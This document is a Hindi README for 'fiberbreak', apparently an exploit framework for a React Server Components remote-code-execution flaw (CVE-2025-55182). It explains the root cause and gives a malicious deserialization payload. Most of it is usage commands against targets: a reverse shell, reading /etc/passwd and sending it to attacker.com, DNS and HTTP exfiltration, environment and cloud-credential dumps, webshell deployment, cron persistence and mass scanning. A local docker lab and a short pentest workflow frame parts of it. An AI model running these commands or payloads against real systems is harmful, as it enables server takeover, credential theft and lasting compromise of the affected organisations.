
React2Shell शोषण उपकरण (CVE-2025-55182)
CVE-2025-55182 (React2Shell) के लिए शोषण ढांचा - React सर्वर घटकों में महत्वपूर्ण RCE भेद्यता।
# क्लोन रिपॉजिटरी
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak
# निर्भरताएँ स्थापित करें
pip install -r requirements.txt
# निष्पादन योग्य बनाएं
chmod +x fiberbreak.py
# असुरक्षित परीक्षण वातावरण बनाएं
docker-compose up -d
# स्टार्टअप की प्रतीक्षा करें
sleep 20
# पहचान जांचें
./fiberbreak.py -u http://localhost:3000 detect
# RCE निष्पादित करें
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"
# सत्यापित करें
docker exec react2shell-lab ls -la /tmp/
CVE-2025-55182 React सर्वर घटकों (RSC) में एक महत्वपूर्ण रिमोट कोड निष्पादन भेद्यता है जो अप्रमाणित हमलावरों को सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देती है।
मूल कारण: React Flight प्रोटोकॉल अविश्वसनीय क्लाइंट इनपुट को उचित सत्यापन के बिना deserialize करता है, जिससे हमलावर JavaScript की प्रोटोटाइप श्रृंखला और Function कंस्ट्रक्टर का दुरुपयोग करने वाले दुर्भावनापूर्ण पेलोड तैयार कर सकते हैं।
हमला वेक्टर: हमलावर किसी भी RSC एंडपॉइंट पर Next-Action हेडर के साथ एक निर्मित multipart/form-data POST अनुरोध भेजते हैं। दुर्भावनापूर्ण पेलोड निम्नलिखित का लाभ उठाता है:
__proto__ एक्सेस के माध्यम से प्रोटोटाइप प्रदूषणconstructor:constructor के माध्यम से Function कंस्ट्रक्टर एक्सपोजर1. हमलावर निर्मित POST अनुरोध भेजता है
└─ multipart/form-data दुर्भावनापूर्ण JSON के साथ
└─ Next-Action हेडर (कोई भी मान)
2. सर्वर पेलोड को deserialize करता है
└─ React RSC चंक प्रारूप को प्रोसेस करता है
└─ Promise जैसी वस्तु को हल करता है
3. गैजेट श्रृंखला ट्रिगर होती है
└─ __proto__ एक्सेस hasOwnProperty जांच को बायपास करता है
└─ constructor:constructor Function() को एक्सपोज करता है
└─ _prefix मनमाना कोड निष्पादित करता है
4. RCE प्राप्त हुआ
└─ सर्वर हमलावर का JavaScript निष्पादित करता है
└─ पूर्ण सिस्टम समझौता
{
"then": "$1:__proto__:then", // प्रोटोटाइप प्रदूषण
"status": "resolved_model", // नकली React आंतरिक स्थिति
"reason": -1, // रिजॉल्यूशन ट्रिगर
"value": '{"then":"$B1337"}', // ब्लॉब संदर्भ
"_response": {
"_prefix": "MALICIOUS_CODE_HERE;", // निष्पादित कोड
"_formData": {
"get": "$1:constructor:constructor" // Function() एक्सेस
}
}
}
// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
const value = JSON.parse(chunk.value);
// यहाँ मान्यता की कमी दुर्भावनापूर्ण चंक की अनुमति देती है
if (value && typeof value.then === 'function') {
// हमलावर 'then' विधि को नियंत्रित करता है
value.then(/* ... */);
}
}
# एकल लक्ष्य पहचान
./fiberbreak.py -u https://target.com detect
# फ़ाइल से कई लक्ष्य
./fiberbreak.py -l targets.txt detect --threads 20
# JSON में परिणाम सहेजें
./fiberbreak.py -l targets.txt detect -o results.json
# SSL सत्यापन अक्षम करें
./fiberbreak.py -u https://target.com detect --no-verify-ssl
# सरल अंधा कमांड निष्पादन
./fiberbreak.py -u https://target.com exploit -c "whoami"
# डिस्क पर फ़ाइल लिखें
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pwned.txt:HACKED" -t write_file
# फ़ाइल सामग्री पढ़ें
./fiberbreak.py -u https://target.com exploit \
-c "/etc/passwd:https://attacker.com" -t file_read
# रिवर्स शेल
./fiberbreak.py -u https://target.com exploit \
-c "10.10.10.10:4444" -t reverse_shell
# DNS एक्सफिल्ट्रेशन (गुप्त, कोई HTTP ट्रैफिक नहीं)
./fiberbreak.py -u https://target.com exploit \
-c "whoami:attacker.oastify.com" -t dns_exfil
# आउटपुट के साथ HTTP एक्सफिल्ट्रेशन
./fiberbreak.py -u https://target.com exploit \
-c "id:https://attacker.com/exfil" -t http_exfil
# एनवायरनमेंट वेरिएबल डंप
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# सिस्टम रिकॉनिसेंस
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/recon" -t recon
# गुप्त DNS बीकन (कोई कमांड आउटपुट नहीं)
./fiberbreak.py -u https://target.com exploit \
-c "attacker.oastify.com" -t stealth_beacon
# स्वतः क्लाउड प्रदाता का पता लगाएं और क्रेडेंशियल निकालें
# समर्थन: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/cloud" -t cloud_metadata
| प्रकार | प्रारूप | विवरण | आउटपुट |
|---|---|---|---|
simple | command | कोई भी शेल कमांड निष्पादित करें | ब्लाइंड |
output | command + --callback | HTTP कॉलबैक के साथ निष्पादित करें | हाँ |
reverse_shell | lhost:lport | Bash रिवर्स शेल | इंटरैक्टिव |
dns_exfil | cmd:domain या domain | DNS एक्सफिल्ट्रेशन | DNS लॉग |
http_exfil | cmd:callback_url | HTTP एक्सफिल्ट्रेशन | HTTP POST |
file_read | filepath:callback | फ़ाइल पढ़ें और एक्सफिल्ट्रेट करें | HTTP POST |
write_file | filepath:content | डिस्क पर फ़ाइल लिखें | ब्लाइंड |
env_dump | callback_url | एनवायरनमेंट वेरिएबल डंप करें | HTTP POST |
cloud_metadata | callback_url | क्लाउड क्रेडेंशियल निकालें | HTTP POST |
recon | callback_url | सिस्टम रिकॉनिसेंस | HTTP POST |
stealth_beacon | domain | DNS बीकन | DNS लॉग |
webshell | filepath | Node.js वेबशेल तैनात करें | पोर्ट 8080 |
persist | callback_url | क्रॉन स्थायित्व स्थापित करें | क्रॉन जॉब |
# 1. DNS बीकन के साथ गुप्त पहचान
./fiberbreak.py -u https://target.com exploit \
-c "recon.yourburp.oastify.com" -t stealth_beacon
# 2. यदि असुरक्षित हो, तो संवेदनशील डेटा निकालें
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/exfil" -t env_dump
# 3. क्लाउड वातावरण की जाँच करें
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/cloud" -t cloud_metadata
# 4. नुकसान पहुँचाए बिना निष्कर्ष दस्तावेजित करें
# चरण 1: पहचान
./fiberbreak.py -u https://target.com detect -o detection.json
# चरण 2: सत्यापन
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file
# चरण 3: प्रभाव मूल्यांकन
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/impact" -t recon
# चरण 4: क्रेडेंशियल निष्कर्षण (यदि क्लाउड)
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/creds" -t cloud_metadata
# चरण 5: इंटरैक्टिव एक्सेस (यदि अधिकृत)
# टर्मिनल 1: श्रोता प्रारंभ करें
nc -lvnp 4444
# टर्मिनल 2: शेल प्राप्त करें
./fiberbreak.py -u https://target.com exploit \
-c "YOUR_IP:4444" -t reverse_shell
# लक्ष्य सूची बनाएं
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF
# सभी लक्ष्यों को समानांतर में स्कैन करें
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json
# असुरक्षित लक्ष्यों को फ़िल्टर करें
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'
# रिपोर्ट जनरेट करें
cat scan_results.json | jq '{
total: length,
vulnerable: [.[] | select(.vulnerable==true)] | length,
targets: [.[] | select(.vulnerable==true) | .url]
}'
# AWS EC2 इंस्टेंस
./fiberbreak.py -u https://aws-app.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata